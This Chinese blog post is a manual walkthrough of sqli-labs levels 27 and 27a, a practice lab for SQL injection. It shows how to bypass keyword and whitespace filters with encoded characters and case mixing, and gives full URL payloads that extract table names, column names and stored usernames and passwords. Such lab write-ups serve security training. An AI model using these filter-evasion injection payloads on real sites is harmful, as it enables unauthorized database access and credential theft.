当前位置:网站首页>(手工)【sqli-labs27、27a】报错回显、布尔盲注、过滤后注入
(手工)【sqli-labs27、27a】报错回显、布尔盲注、过滤后注入
2022-07-13 18:20:00 【黑色地带(崛起)】
目录
二、Less27(GET-Error based - All your UNION & SELECT belong to us-string single quote)
三、Less27a(GET-Blind based - All your UNION & SELECT belong to us Double quote )
推荐:
一、(手工)SQL注入基本步骤:
第一步:注入点测试
第二步:分析权限
第三步:判断字段数
第四步:爆数据库名
第五步:爆表名
第六步:爆字段名
第七步:爆数据
二、Less27(GET-Error based - All your UNION & SELECT belong to us-string single quote)
2.1、简介:(过滤-报错回显-单引号)
请求方法:GET
方法:过滤替换: /* , – , # , 空格 , /、union、select、UNION、SELECT、Union、Select+报错回显
2.2、第一步:注入点测试
输入?id=1
后面加上单引号发现报错了
说明是单引号闭合,即是字符型注入
且可利用报错回显
2.3、第二步:分析过滤
方法一:
考虑一步一步将注入语句字符一个一个替换掉,直到不报错(浪费时间)
或者全部替换(如果报错,不知道哪里被过滤了)
方法二:
获取源码进行白盒审计(最优)
方法三:eg:输入id=union
看输入回显过滤语句的情况
最后可以知道被过滤的字符有
/* , – , # , 空格 , /,/s
union、select、UNION、SELECT、Union、Select
替代空格:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
空格换成 ||
注释被过滤掉了,就可以使用拼接进语句,将2侧进行闭合
union和select可以使用大小写混淆绕过,或者双写
2.4、第三步:判断字段数
2.5、第四步:暴库
?id=1'%26%26extractvalue(1, concat(0x7e, database()))%26%26'1
或者
?id=0'unIon%0BSelEcT%0B1,database(),3||'1
2.6、第五步:爆表名
?id=0'%0AunIon%0ASeLeCt%0A1,(SeLeCt%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'),3||'1
或者
?id=0'||extractvalue(1,concat(0x7e,(sEleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))||'
2.7、第六步:爆字段
?id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1
或者
?id=1'||extractvalue(1,concat(0x7e,(sEleCt(group_concat(column_name))from(information_schema.columns)where(table_schema)=(database())and(table_name)='users')))||'
2.8、第七步:爆数据
?id=1'||extractvalue(1,concat(0x7e,(sEleCt(substr((group_concat(username,password)),1,32))from(users))))||'
或者
?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(concat_ws('$',id,username,password))/*%0a*/from/*%0a*/users),3/*%0a*/||/*%0a*/'1'='1
三、Less27a(GET-Blind based - All your UNION & SELECT belong to us Double quote )
3.1、简介:(过滤-布尔盲注-双引号)
请求方法:GET
方法:过滤替换: /* , – , # , 空格 , /、union、select、UNION、SELECT、Union、Select+布尔盲注
3.2、特点:
双引号字符型注入,可以使用union联合注入
无错误回显(即不能报错注入updatexml函数等)
正确和错误页面不同,可以进行布尔盲注,因为他有无错误回显
也可延时盲注
3.3、利用过程:
基本上和Less26使用联合查询一样
进行布尔盲注(判断)
?id=0"unIon%0BSelEcT%0B1,database(),"3
……
边栏推荐
- TC397 LMURAM 使用
- FreeBSD bNXT Ethernet driver source code reading records.
- Fluent loading view, failed view, empty view encapsulation
- MallBook:如何通过供应链结算管理系统推动供应链金融快速落地?
- App测试流程及测试点
- 功能测试如何快速转向自动化测试
- Im2col+pack+sgemm optimized for AI mobile terminal
- 2022-07微软漏洞通告
- 一番实验后,有关Batch Size的玄学被打破了
- 基于51单片机智能家居监控系统设计仿真(proteus仿真+源码+报告)
猜你喜欢

JMeter 常用的几种断言方法,你会了吗?

APP性能设计及优化专题——影响性能的不良实现

Fis3 create project

【每日一题】在二叉树中找到两个节点的最近公共祖先

Mallbook: how to promote the rapid implementation of supply chain finance through the supply chain settlement management system?

小程序毕设作品之微信教室预约小程序毕业设计(1)开发概要

小程序毕设作品之微信教室预约小程序毕业设计(2)小程序功能

知识点滴 - 性格分析: MBTI模型

CVPR | 基于密度与深度分解的自增强非成对图像去雾

The boss recruited a tester with 6 years of experience, which let me see what the ceiling is
随机推荐
Heartless sword English Chinese bilingual poem 005 Floating like clouds
Leetcode 454. 四数相加 II
Use cpolar to build a commercial website (apply for website security certificate)
小程序毕设作品之微信企业公司小程序毕业设计(4)开题报告
EasyCVR接入国标设备后,设备录像不能完整播放该如何解决?
小程序毕设作品之微信企业公司小程序毕业设计(3)后台功能
【每日一题】判断是不是完全二叉树
What are the new features of redis in highly paid programmers & interview questions series 123? Do you know the multithreading feature of redis?
FreeBSD bnxt以太网驱动源码阅读记录。
小程序毕设作品之微信企业公司小程序毕业设计(2)小程序功能
Simple canvas animation principle
Differences and relations between malloc, vmalloc and kmalloc, free, kfree and vfree
Small program graduation project of wechat enterprise company (3) background function
源码编译按照mongoc
Wechat applet development - (VIII) canvas drawing graphics
Kubernetes Dashboard
从全球价值链视角看,京东云数智供应链对未来经济有何影响?
Monkey 压力测试
Last CSDN blog
51单片机智能家居环境检测 烟雾温度GSM短信提示报警器(原理图+程序+仿真+PCB)
https://blog.csdn.net/qq_53079406/article/details/125275974?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165770191616781818723356%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165770191616781818723356&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125275974-null-null.185^v2^control&utm_term=%E5%B8%83%E5%B0%94&spm=1018.2226.3001.4450









